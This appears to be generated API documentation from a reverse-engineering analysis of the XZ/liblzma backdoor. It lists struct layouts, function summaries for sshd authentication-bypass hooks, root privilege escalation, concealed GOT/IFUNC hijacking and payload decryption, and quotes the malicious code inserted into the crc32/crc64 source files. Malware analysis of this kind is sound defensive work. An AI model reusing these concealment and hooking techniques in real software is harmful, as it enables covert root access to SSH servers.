 assert_offset (backdoor_hooks_ctx_t, mm_log_handler, 0x58)
 
 assert_offset (backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70)
 
 assert_offset (backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78)
 
 assert_offset (backdoor_setup_params_t, shared, 0x8)
 
 assert_offset (backdoor_setup_params_t, hook_params, 0x10)
 
 assert_offset (backdoor_setup_params_t, entry_ctx, 0x80)
 
 assert_offset (elf_handles_t, main, 0x0)
 
 assert_offset (elf_handles_t, dynamic_linker, 0x8)
 
 assert_offset (elf_handles_t, libc, 0x10)
 
 assert_offset (elf_handles_t, liblzma, 0x18)
 
 assert_offset (elf_handles_t, libcrypto, 0x20)
 
 assert_offset (main_elf_t, elf_handles, 0x0)
 
 assert_offset (main_elf_t, dynamic_linker_ehdr, 0x8)
 
 assert_offset (main_elf_t, __libc_stack_end, 0x10)
 
 assert_offset (backdoor_data_handle_t, data, 0x0)
 
 assert_offset (backdoor_data_handle_t, elf_handles, 0x8)
 
 assert_offset (string_item_t, string_id, 0)
 
 assert_offset (string_item_t, func_start, 0x8)
 
 assert_offset (string_item_t, func_end, 0x10)
 
 assert_offset (string_item_t, xref, 0x18)
 
 assert_offset (string_references_t, entries, 0)
 
 assert_offset (backdoor_data_t, main_map, 0)
 
 assert_offset (backdoor_data_t, dynamic_linker_map, 0x8)
 
 assert_offset (backdoor_data_t, liblzma_map, 0x10)
 
 assert_offset (backdoor_data_t, libcrypto_map, 0x18)
 
 assert_offset (backdoor_data_t, libsystemd_map, 0x20)
 
 assert_offset (backdoor_data_t, libc_map, 0x28)
 
 assert_offset (backdoor_data_t, elf_handles, 0x30)
 
 assert_offset (backdoor_data_t, data_handle, 0x58)
 
 assert_offset (backdoor_data_t, main_info, 0x68)
 
 assert_offset (backdoor_data_t, dynamic_linker_info, 0x168)
 
 assert_offset (backdoor_data_t, libc_info, 0x268)
 
 assert_offset (backdoor_data_t, liblzma_info, 0x368)
 
 assert_offset (backdoor_data_t, libcrypto_info, 0x468)
 
 assert_offset (backdoor_data_t, libc_imports, 0x568)
 
 assert_offset (backdoor_data_t, string_refs, 0x5D8)
 
 assert_offset (backdoor_data_t, fake_allocator, 0x938)
 
 assert_offset (backdoor_data_t, import_resolver, 0x950)
 
 assert_offset (backdoor_shared_libraries_data_t, data, 0x0)
 
 assert_offset (backdoor_shared_libraries_data_t, elf_handles, 0x8)
 
 assert_offset (backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10)
 
 assert_offset (backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18)
 
 assert_offset (backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20)
 
 assert_offset (backdoor_shared_libraries_data_t, hooks_data_addr, 0x28)
 
 assert_offset (backdoor_shared_libraries_data_t, libc_imports, 0x30)
 
 assert_offset (secret_data_item_t, code, 0x0)
 
 assert_offset (secret_data_item_t, shift_cursor, 0x8)
 
 assert_offset (secret_data_item_t, operation_index, 0xC)
 
 assert_offset (secret_data_item_t, shift_count, 0x10)
 
 assert_offset (secret_data_item_t, index, 0x14)
 
 assert_offset (key_payload_body_t, args, 0x72)
 
 assert_offset (cmd_arguments_t, flags1, 0)
 
 assert_offset (cmd_arguments_t, flags2, 1)
 
 assert_offset (cmd_arguments_t, flags3, 2)
 
 assert_offset (cmd_arguments_t, u, 3)
 
 assert_offset (key_ctx_t, rsa_n, 0)
 
 assert_offset (key_ctx_t, rsa_e, 0x8)
 
 assert_offset (key_ctx_t, args, 0x10)
 
 assert_offset (key_ctx_t, payload, 0x15)
 
 assert_offset (key_ctx_t, ivec, 0x26D)
 
 assert_offset (key_ctx_t, ed448_key, 0x27D)
 
 assert_offset (monitor_data_t, cmd_type, 0)
 
 assert_offset (monitor_data_t, args, 0x8)
 
 assert_offset (monitor_data_t, rsa_n, 0x10)
 
 assert_offset (monitor_data_t, rsa_e, 0x18)
 
 assert_offset (monitor_data_t, payload_body, 0x20)
 
 assert_offset (monitor_data_t, payload_body_size, 0x28)
 
 assert_offset (monitor_data_t, rsa, 0x30)
 
 assert_offset (run_backdoor_commands_data_t, body_size, 0)
 
 assert_offset (run_backdoor_commands_data_t, p_do_orig, 8)
 
 assert_offset (run_backdoor_commands_data_t, payload_size, 0x10)
 
 assert_offset (run_backdoor_commands_data_t, hostkey_hash_offset, 0x18)
 
 assert_offset (run_backdoor_commands_data_t, rsa, 0x20)
 
 assert_offset (run_backdoor_commands_data_t, ed448_key_ptr, 0x30)
 
 assert_offset (run_backdoor_commands_data_t, num_keys, 0x38)
 
 assert_offset (run_backdoor_commands_data_t, key_cur_idx, 0x44)
 
 assert_offset (run_backdoor_commands_data_t, key_prev_idx, 0x48)
 
 assert_offset (run_backdoor_commands_data_t, unk57, 0x57)
 
 assert_offset (run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58)
 
 assert_offset (run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60)
 
 assert_offset (run_backdoor_commands_data_t, u.keys.ed448_key, 0x68)
 
 assert_offset (run_backdoor_commands_data_t, data, 0xA8)
 
 assert_offset (run_backdoor_commands_data_t, kctx, 0x308)
 
 assert_offset (backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0)
 
 assert_offset (backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8)
 
 assert_offset (backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10)
 
 assert_offset (backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0)
 
 assert_offset (backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8)
 
 assert_offset (elf_functions_t, init_hook_functions, 0x8)
 
 assert_offset (elf_functions_t, elf_symbol_get_addr, 0x20)
 
 assert_offset (elf_functions_t, elf_parse, 0x30)
 
 assert_offset (fake_lzma_allocator_t, allocator.alloc, 0x8)
 
 assert_offset (fake_lzma_allocator_t, allocator.free, 0x10)
 
 assert_offset (fake_lzma_allocator_t, allocator.opaque, 0x18)
 
 assert_offset (instruction_search_ctx_t, start_addr, 0)
 
 assert_offset (instruction_search_ctx_t, end_addr, 0x8)
 
 assert_offset (instruction_search_ctx_t, offset_to_match, 0x10)
 
 assert_offset (instruction_search_ctx_t, output_register_to_match, 0x18)
 
 assert_offset (instruction_search_ctx_t, output_register, 0x20)
 
 assert_offset (instruction_search_ctx_t, result, 0x28)
 
 assert_offset (instruction_search_ctx_t, hooks, 0x30)
 
 assert_offset (instruction_search_ctx_t, imported_funcs, 0x38)
 
BOOL sshd_proxy_elevate (monitor_data_t *args, global_context_t *ctx)
 forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges through the sshd monitor. More...
 
BOOL x86_dasm (dasm_ctx_t *ctx, u8 *code_start, u8 *code_end)
 disassembles the given x64 code More...
 
BOOL find_call_instruction (u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
 finds a call instruction More...
 
BOOL find_lea_instruction (u8 *code_start, u8 *code_end, u64 displacement)
 finds a lea instruction More...
 
BOOL find_instruction_with_mem_operand (u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
 finds a LEA or MOV instruction with an immediate memory operand More...
 
BOOL find_lea_instruction_with_mem_operand (u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
 finds a LEA instruction with an immediate memory operand More...
 
BOOL find_add_instruction_with_mem_operand (u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
 finds an ADD instruction with an immediate memory operand More...
 
BOOL find_mov_lea_instruction (u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
 like find_mov_instruction, but also considers LEA instructions More...
 
BOOL find_mov_instruction (u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
 finds a MOV instruction. More...
 
BOOL find_instruction_with_mem_operand_ex (u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, int opcode, void *mem_address)
 finds an instruction with an immediate memory operand More...
 
BOOL is_endbr64_instruction (u8 *code_start, u8 *code_end, u32 low_mask_part)
 Checks if the code between code_start and code_end is an endbr64 instruction. More...
 
u8 * find_string_reference (u8 *code_start, u8 *code_end, const char *str)
 finds an instruction that references the given string More...
 
u8 * elf_find_string_reference (elf_info_t *elf_info, EncodedStringId encoded_string_id, u8 *code_start, u8 *code_end)
 finds an instruction that references the given string More...
 
BOOL find_reg2reg_instruction (u8 *code_start, u8 *code_end, dasm_ctx_t *dctx)
 finds a reg2reg instruction More...
 
BOOL find_function_prologue (u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode)
 locates the function prologue More...
 
BOOL find_function (u8 *code_start, void **func_start, void **func_end, u8 *search_base, u8 *code_end, FuncFindType find_mode)
 locates the function boundaries. More...
 
BOOL elf_contains_vaddr (elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags)
 checks if given ELF file contains the range [vaddr, vaddr+size) in a segment with the specified memory protection flags More...
 
BOOL elf_contains_vaddr_relro (elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags)
 checks if given ELF file contains the range [vaddr, vaddr+size) in the gnurelro segment More...
 
BOOL elf_parse (Elf64_Ehdr *ehdr, elf_info_t *elf_info)
 Parses the given in-memory ELF file into elf_info. More...
 
BOOL is_gnu_relro (Elf64_Word p_type, u32 addend)
 checks if the provided identifiers represent a PT_GNU_RELRO More...
 
BOOL main_elf_parse (main_elf_t *main_elf)
 Parses the main executable from the provided structure. As part of the process the arguments and environment is checked. More...
 
char * check_argument (char arg_first_char, char *arg_name)
 
BOOL process_is_sshd (elf_info_t *elf, u8 *stack_end)
 checks if the current process is sshd by inspecting argv and envp. More...
 
BOOL elf_find_string_references (elf_info_t *elf_info, string_references_t *refs)
 parses the ELF rodata section, looking for strings and the instructions that reference them More...
 
Elf64_Sym * elf_symbol_get (elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version)
 Looks up an ELF symbol from a parsed ELF. More...
 
void * elf_symbol_get_addr (elf_info_t *elf_info, EncodedStringId encoded_string_id)
 Looks up an ELF symbol from a parsed ELF, and returns its memory address. More...
 
void * elf_get_code_segment (elf_info_t *elf_info, u64 *pSize)
 Obtains the address and size of the first executable segment in the given ELF file. More...
 
void * elf_get_rodata_segment (elf_info_t *elf_info, u64 *pSize)
 Obtains the address and size of the last readonly segment in the given ELF file this corresponds to the segment that typically contains .rodata. More...
 
void * elf_get_data_segment (elf_info_t *elf_info, u64 *pSize, BOOL get_alignment)
 Obtains the address and size of the last read-write segment in the given ELF file this is typically the segment that contains the following sections: More...
 
void * elf_get_reloc_symbol (elf_info_t *elf_info, Elf64_Rela *relocs, u32 num_relocs, u64 reloc_type, EncodedStringId encoded_string_id)
 Searches the ELF relocations for a symbol having name encoded_string id and relocation of type reloc_type. More...
 
void * elf_get_plt_symbol (elf_info_t *elf_info, EncodedStringId encoded_string_id)
 Gets the PLT symbol with name encoded_string_id from the parsed ELF file. More...
 
void * elf_get_got_symbol (elf_info_t *elf_info, EncodedStringId encoded_string_id)
 Gets the GOT symbol with name encoded_string_id from the parsed ELF file. More...
 
BOOL elf_find_function_pointer (StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
 this function searches for a function pointer, pointing to a function designated by the given xref_id More...
 
char * elf_find_string (elf_info_t *elf_info, EncodedStringId *stringId_inOut, void *rodata_start_ptr)
 Locates a string in the ELF .rodata section. More...
 
lzma_allocator * get_lzma_allocator (void)
 gets the fake LZMA allocator, used for imports resolution the "opaque" field of the structure holds a pointer to More...
 
fake_lzma_allocator_tget_lzma_allocator_address (void)
 gets the address of the fake LZMA allocator More...
 
void * fake_lzma_alloc (void *opaque, size_t nmemb, size_t size)
 a fake alloc function called by lzma_alloc() that then calls elf_symbol_get_addr() More...
 
void fake_lzma_free (void *opaque, void *ptr)
 a fake free function called by lzma_free() More...
 
elf_functions_tget_elf_functions_address (void)
 gets the address of the elf_functions More...
 
BOOL secret_data_append_from_instruction (dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor)
 
BOOL secret_data_append_from_code (void *code_start, void *code_end, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, BOOL start_from_call)
 Pushes secret data by validating the given code block. More...
 
BOOL secret_data_append_item (secret_data_shift_cursor_t shift_cursor, unsigned operation_index, unsigned shift_count, int index, u8 *code)
 Calls secret_data_append_singleton, if flags are non-zero. More...
 
BOOL secret_data_append_items (secret_data_item_t *items, u64 items_count, BOOL(*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *))
 appends multiple secret data items at once More...
 
BOOL secret_data_append_from_address (void *addr, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index)
 calls secret_data_append_singleton with either the given code address or the return address, if addr is <= 1 More...
 
BOOL secret_data_append_singleton (u8 *call_site, u8 *code, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index)
 Shifts data in the secret data store, after validation of code. this function is intended to be invoked only once for each operation_index value. operation_index will be used as an index into a global array of flags, so that multiple calls with the same value will be a NO-OP. More...
 
BOOL secret_data_append_from_call_site (secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index, BOOL bypass)
 Shifts data in the secret data store, after validation of the call site, i.e. the caller of this function for more details, see secret_data_append_singleton. More...
 
BOOL backdoor_setup (backdoor_setup_params_t *params)
 the backdoor main method that installs the backdoor_symbind64() callback More...
 
void init_ldso_ctx (ldso_ctx_t *ldso_ctx)
 initializes/resets ldso data More...
 
unsigned int backdoor_entry (unsigned int cpuid_request, u64 *caller_frame)
 calls backdoor_init while in the crc64() IFUNC resolver function More...
 
void * backdoor_init (elf_entry_ctx_t *state, u64 *caller_frame)
 calls backdoor_init_stage2 by disguising it as a call to cpuid. More...
 
void init_elf_entry_ctx (elf_entry_ctx_t *ctx)
 initialises the elf_entry_ctx_t More...
 
ptrdiff_t get_got_offset (elf_entry_ctx_t *ctx)
 get the offset to the GOT More...
 
u64 get_cpuid_got_index (elf_entry_ctx_t *ctx)
 get the cpuid() GOT index More...
 
BOOL backdoor_init_stage2 (elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t *reloc_consts)
 
BOOL resolve_libc_imports (struct link_map *libc, elf_info_t *libc_info, libc_imports_t *imports)
 parses the libc ELF from the supplied link map, and resolves its imports More...
 
BOOL process_shared_libraries (backdoor_shared_libraries_data_t *data)
 scans loaded libraries to identify interesting libraries More...
 
BOOL process_shared_libraries_map (struct link_map *r_map, backdoor_shared_libraries_data_t *data)
 scans loaded libraries to identify interesting libraries and populate related data More...
 
BOOL chacha_decrypt (u8 *in, int inl, u8 *key, u8 *iv, u8 *out, imported_funcs_t *funcs)
 decrypts a buffer with chacha20 More...
 
BOOL secret_data_get_decrypted (u8 *output, global_context_t *ctx)
 obtains a decrypted copy of the secret data More...
 
BOOL is_range_mapped (u8 *addr, u64 length, global_context_t *ctx)
 verify if a memory range is mapped More...
 
u32 count_bits (u64 x)
 returns the number of 1 bits in x More...
 
EncodedStringId get_string_id (const char *string_begin, const char *string_end)
 Get the. More...
 
unsigned int _get_cpuid_modified (unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame)
 the backdoor entrypoint function, called by the IFUNC resolver for liblzma crc32() and crc64() More...
 
void _cpuid_gcc (unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d)
 actually calls cpuid instruction More...
 
int init_hooks_ctx (backdoor_hooks_ctx_t *ctx)
 Initializes the structure with hooks-related data. More...
 
int init_shared_globals (backdoor_shared_globals_t *shared_globals)
 Initializes the backdoor_shared_globals structure. More...
 
BOOL init_imported_funcs (imported_funcs_t *imported_funcs)
 Initializes the imported_funcs structure. More...
 
void * update_got_address (elf_entry_ctx_t *entry_ctx)
 finds the __tls_get_addr() GOT entry More...
 
ptrdiff_t get_tls_get_addr_random_symbol_got_offset (elf_entry_ctx_t *ctx)
 get the tls_get_addr_random_symbol GOT offset More...
 
void * dummy_tls_get_addr (tls_index *ti)
 a dummy function that calls __tls_get_addr, to make sure its GOT slot doesn't get removed by compiler optimizations More...
 
uintptr_t backdoor_symbind64 (Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
 the backdoored symbind64 installed in GLRO(dl_audit) More...
 
BOOL run_backdoor_commands (RSA *key, global_context_t *ctx, BOOL *do_orig)
 checks if the supplied RSA public key contains the backdoor commands, and executes them if present. More...
 
BOOL find_dl_audit_offsets (backdoor_data_handle_t *data, ptrdiff_t *libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
 Find the various offsets in ld.so that need modification to trigger _dl_audit_symbind_alt() to call backdoor_symbind64(). More...
 
BOOL find_link_map_l_name (backdoor_data_handle_t *data_handle, ptrdiff_t *libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
 Find struct link_map offsets required to modify ld.so's private struct auditstate state. More...
 
BOOL find_dl_naudit (elf_info_t *dynamic_linker_elf, elf_info_t *libcrypto_elf, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
 Find __rtld_global_ro offsets required to modify ld.so's private struct audit_ifaces state. More...
 
BOOL find_link_map_l_audit_any_plt (backdoor_data_handle_t *data, ptrdiff_t libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
 Find struct link_map offset required to modify ld.so's private link_map::l_audit_any_plt state. More...
 
BOOL find_link_map_l_audit_any_plt_bitmask (backdoor_data_handle_t *data, instruction_search_ctx_t *search_ctx)
 Find the bitmask required to modify ld.so's private link_map::l_audit_any_plt state. More...
 
BOOL sshd_get_sensitive_data_address_via_xcalloc (u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, string_references_t *string_refs, void **sensitive_data_out)
 finds the address of sensitive_data.host_keys in sshd by using XREF_xcalloc_zero_size in xcalloc More...
 
BOOL sshd_get_sensitive_data_address_via_krb5ccname (u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
 finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME ) More...
 
int sshd_get_sensitive_data_score_in_demote_sensitive_data (void *sensitive_data, elf_info_t *elf, string_references_t *refs)
 obtains a numeric score which indicates if demote_sensitive_data accesses sensitive_data or not More...
 
int sshd_get_sensitive_data_score_in_main (void *sensitive_data, elf_info_t *elf, string_references_t *refs)
 obtains a numeric score which indicates if main accesses sensitive_data or not More...
 
int sshd_get_sensitive_data_score_in_do_child (void *sensitive_data, elf_info_t *elf, string_references_t *refs)
 obtains a numeric score which indicates if do_child accesses sensitive_data or not More...
 
int sshd_get_sensitive_data_score (void *sensitive_data, elf_info_t *elf, string_references_t *refs)
 obtains a numeric score which indicates if accesses sensitive_data or not More...
 
BOOL bignum_serialize (u8 *buffer, u64 bufferSize, u64 *pOutSize, const BIGNUM *bn, imported_funcs_t *funcs)
 Serializes the BIGNUM bn to the buffer buffer. More...
 
BOOL sshbuf_bignum_is_negative (struct sshbuf *buf)
 checks if the given serialized BIGNUM is negative More...
 
BOOL rsa_key_hash (const RSA *rsa, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
 obtains a SHA256 hash of the supplied RSA key More...
 
BOOL dsa_key_hash (const DSA *dsa, u8 *mdBuf, u64 mdBufSize, global_context_t *ctx)
 obtains a SHA256 hash of the supplied RSA key More...
 
BOOL sha256 (const void *data, size_t count, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
 computes the SHA256 hash of the supplied data More...
 
BOOL verify_signature (struct sshkey *sshkey, u8 *signed_data, u64 sshkey_digest_offset, u64 signed_data_size, u8 *signature, u8 *ed448_raw_key, global_context_t *global_ctx)
 Checks if signed_data is signed with ed448_raw_key. More...
 
BOOL sshd_patch_variables (BOOL skip_root_patch, BOOL disable_pam, BOOL replace_monitor_reqtype, int monitor_reqtype, global_context_t *global_ctx)
 Patches the sshd configuration. More...
 
BOOL sshd_find_monitor_struct (elf_info_t *elf, string_references_t *refs, global_context_t *ctx)
 finds the pointer to struct monitor, and updates the global context in ctx with its location More...
 
BOOL sshd_find_main (u8 **code_start_out, elf_info_t *sshd, elf_info_t *libcrypto, imported_funcs_t *imported_funcs)
 finds the sshd_main function More...
 
BOOL sshd_find_monitor_field_addr_in_function (u8 *code_start, u8 *code_end, u8 *data_start, u8 *data_end, void **monitor_field_ptr_out, global_context_t *ctx)
 find a pointer to a field in struct monitor by examining code referencing it More...
 
void * find_addr_referenced_in_mov_instruction (StringXrefId id, string_references_t *refs, void *mem_range_start, void *mem_range_end)
 find an address referenced in a function More...
 
BOOL validate_log_handler_pointers (void *addr1, void *addr2, void *search_base, u8 *code_end, string_references_t *refs, global_context_t *global)
 Validate that the two addresses are the expected/correct ones. More...
 
BOOL sshd_get_client_socket (global_context_t *ctx, int *pSocket, int socket_index, enum SocketMode socket_direction)
 Get either the read or write end of the sshd connection. More...
 
BOOL sshd_get_usable_socket (int *pSock, int socket_index, libc_imports_t *imports)
 gets the first usable socket fd More...
 
BOOL sshd_get_sshbuf (struct sshbuf *sshbuf, global_context_t *ctx)
 Finds the right sshbuf (FIXME: which?), starting from: (*(ctx->struct_monitor_ptr_address))->kex->my More...
 
BOOL sshd_kex_sshbuf_get (void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize)
 locates an sshbuf within struct kex (FIXME: which?) More...
 
BOOL is_payload_message (u8 *sshbuf_data, size_t sshbuf_size, size_t *pOutPayloadSize, global_context_t *ctx)
 checks if the given sshbuf buffer contains a backdoor payload message More...
 
BOOL decrypt_payload_message (void *payload, size_t payload_size, global_context_t *ctx)
 decrypts the given backdoor payload More...
 
BOOL check_backdoor_state (global_context_t *ctx)
 checks if the backdoor state is the expected one (FIXME: which?) More...
 
int mm_answer_keyallowed_hook (struct ssh *ssh, int sock, struct sshbuf *m)
 runs the payload received from sshd_proxy_elevate, and then runs the original mm_answer_keyallowed function More...
 
int mm_answer_keyverify_hook (struct ssh *ssh, int sock, struct sshbuf *m)
 used in conjunction with mm_answer_keyallowed_hook to bypass the key validity check More...
 
int mm_answer_authpassword_hook (struct ssh *ssh, int sock, struct sshbuf *m)
 used to bypass password authentication by replying with a successful MONITOR_ANS_AUTHPASSWORD More...
 
void mm_log_handler_hook (LogLevel level, int forced, const char *msg, void *ctx)
 
ssize_t fd_read (int fd, void *buffer, size_t count, libc_imports_t *funcs)
 reads data from the specified file descriptor More...
 
ssize_t fd_write (int fd, void *buffer, size_t count, libc_imports_t *funcs)
 reads data to the specified file descriptor More...
 
BOOL contains_null_pointers (void **pointers, unsigned int num_pointers)
 checks if the given array of pointers contains any NULL pointer More...
 
BOOL count_pointers (void **ptrs, u64 *count_out, libc_imports_t *funcs)
 count the number of non-NULL pointers in the malloc'd memory block ptrs More...
 
BOOL sshd_configure_log_hook (cmd_arguments_t *cmd_flags, global_context_t *ctx)
 configure the log hook More...
 
void sshd_log (sshd_log_ctx_t *log_ctx, LogLevel level, const char *fmt,...)
 calls sshlogv from openssh, similarly to sshlog in openssh More...
 
BOOL sshd_find_sensitive_data (elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
 locates sensitive_data within sshd, and resolves some additional libcrypto functions More...
 

Variables

u32 resolver_call_count
 counts the number of times the IFUNC resolver is called More...
 
global_context_tglobal_ctx
 
backdoor_hooks_data_thooks_data_addr
 location of backdoor_hooks_data_t More...
 
const ptrdiff_t fake_lzma_allocator_offset
 special .data.rel.ro section that contains the offset to fake_lzma_allocator_struct More...
 
fake_lzma_allocator_t fake_lzma_allocator
 special .data.rel.ro section that contains a fake lzma_allocator More...
 
const ptrdiff_t elf_functions_offset
 special .data.rel.ro section that contains the offset to elf_functions More...
 
const elf_functions_t elf_functions
 special .data.rel.ro section that contains addresses to various functions More...
 
const u64 cpuid_random_symbol
 a bogus global variable that is used by the backdoor to generate an extra symbol More...
 
const u64 tls_get_addr_random_symbol
 a bogus global variable that is used by the backdoor to generate an extra symbol More...
 
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
 special .rodata section that contains _cpuid() related GOT offsets More...
 
const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts
 special .rodata section that contains __tls_get_addr() related GOT offsets More...
 
const u64 string_mask_data [238]
 contains mask data for the encoded string radix tree More...
 
const u32 string_action_data [1304]
 contains action data for the encoded string radix tree More...
 

Detailed Description

XZ backdoor structures and functions.

Author
Stefano Moioli (smxde.nosp@m.v4@g.nosp@m.mail..nosp@m.com)

Typedef Documentation

◆ elf_handles_t

typedef struct elf_handles elf_handles_t

array of ELF handles

See also
ElfId maps the indices

◆ gnu_hash_table_t

◆ key_payload_hdr_t

the payload header. also used as Chacha IV

Returns
typedef struct

◆ key_payload_t

typedef struct key_payload key_payload_t

the contents of the RSA 'n' field

Returns
typedef struct

Enumeration Type Documentation

◆ CommandFlags1

Enumerator
X_FLAGS1_8BYTES 

the data block contains 8 additional bytes

X_FLAGS1_SETLOGMASK 

disable all logging by setting mask 0x80000000

X_FLAGS1_SOCKET_INDEX 

custom monitor socket index override

X_FLAGS1_DISABLE_PAM 

if set, disables PAM authentication

X_FLAGS1_NO_EXTENDED_SIZE 

if set, the union size field must be 0

◆ CommandFlags2

Enumerator
X_FLAGS2_IMPERSONATE 

if set, impersonate a user (info from payload) if not set, impersonate root

X_FLAGS2_CHANGE_MONITOR_REQ 

if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the payload

X_FLAGS2_CONTINUATION 

more data available in the following packet not compatible with command 3

X_FLAGS2_PSELECT 

executes pselect, then exit not compatible with command 2

X_FLAGS2_SOCKFD_MASK 

(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified

◆ CommandFlags3

Enumerator
X_FLAGS3_SOCKET_NUM 

5 bits used to store number of sockets (in cmd3)

X_FLAGS3_MONITOR_REQ_VAL 

6 bits used to store the monitor req / 2 (might be unused)

◆ ElfId

enum ElfId
Enumerator
X_ELF_MAIN 

this is for sshd itself

Function Documentation

◆ _cpuid_gcc()

void _cpuid_gcc ( unsigned int  level,
unsigned int *  a,
unsigned int *  b,
unsigned int *  c,
unsigned int *  d 
)

actually calls cpuid instruction

this is a copy of __cpuid() from gcc

Parameters
levelEAX register input for cpuid instruction
aEAX register output for cpuid instruction
bEBX register output for cpuid instruction
cECX register output for cpuid instruction
dEDX register output for cpuid instruction

◆ _get_cpuid_modified()

unsigned int _get_cpuid_modified ( unsigned int  leaf,
unsigned int *  eax,
unsigned int *  ebx,
unsigned int *  ecx,
unsigned int *  edx,
u64 *  caller_frame 
)

the backdoor entrypoint function, called by the IFUNC resolver for liblzma crc32() and crc64()

calls backdoor_init()

this is a copy of __get_cpuid() from gcc

for context this is the extra code the backdoor build inserts into both xz/src/liblzma/check/crc32_fast.c and xz/src/liblzma/check/crc64_fast.c

#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
int _get_cpuid(int, void*, void*, void*, void*, void*);
static inline bool _is_arch_extension_supported(void) {
int success = 1;
uint32_t r[4];
success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);
const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);
return success && (r[2] & ecx_mask) == ecx_mask;
}
#else
#define _is_arch_extension_supported() is_arch_extension_supported
#endif

the _get_cpuid() function is defined in the file liblzma_la-crc64-fast.o which is linked into liblzma to bring in the backdoor's code

the _is_arch_extension_supported is a modified version of is_arch_extension_supported() from xz/src/liblzma/check/crc_x86_clmul.h

additionally both xz/src/liblzma/check/crc32_fast.c and xz/src/liblzma/check/crc64_fast.c are modified to replace the call to is_arch_extension_supported() with _is_arch_extension_supported()

Parameters
leafEAX register input for cpuid instruction
eaxEAX register output for cpuid instruction
ebxEBX register output for cpuid instruction
ecxECX register output for cpuid instruction
edxEDX register output for cpuid instruction
caller_framethe value of __builtin_frame_address(0)-16 from within context of the INFUN resolver
Returns
BOOL TRUE if cpuid leaf supported, FALSE otherwise

◆ backdoor_entry()

unsigned int backdoor_entry ( unsigned int  cpuid_request,
u64 *  caller_frame 
)

calls backdoor_init while in the crc64() IFUNC resolver function

the function counts the number of times it was called in resolver_call_count

the first time it is called is in the crc32() resolver just returns the maximum supported cpuid level

the second time it is called is in the crc64() resolver and then this function calls backdoor_init_stage2()

this is a modified version of __get_cpuid_max() from gcc

backdoor_init_stage2() is called by replacing the _cpuid() GOT entry to point to backdoor_init_stage2()

Parameters
cpuid_requestEAX register input. Is either 0 or 0x80000000, but this value is actually not used.
caller_framethe value of __builtin_frame_address(0)-16 from within context of the INFUN resolver
Returns
unsigned int the EAX register output. Normally the maximum supported cpuid level.

◆ backdoor_init()

void* backdoor_init ( elf_entry_ctx_t state,
u64 *  caller_frame 
)

calls backdoor_init_stage2 by disguising it as a call to cpuid.

backdoor_init_stage2 is called by replacing the _cpuid() GOT entry to point to backdoor_init_stage2

stores elf_entry_ctx_t::symbol_ptr - elf_entry_ctx_t::got_offset in elf_entry_ctx_t::got_ptr which is the GOT address .

Parameters
statethe entry context, filled by backdoor_entry
caller_framethe value of __builtin_frame_address(0)-16 from within context of the INFUN resolver
Returns
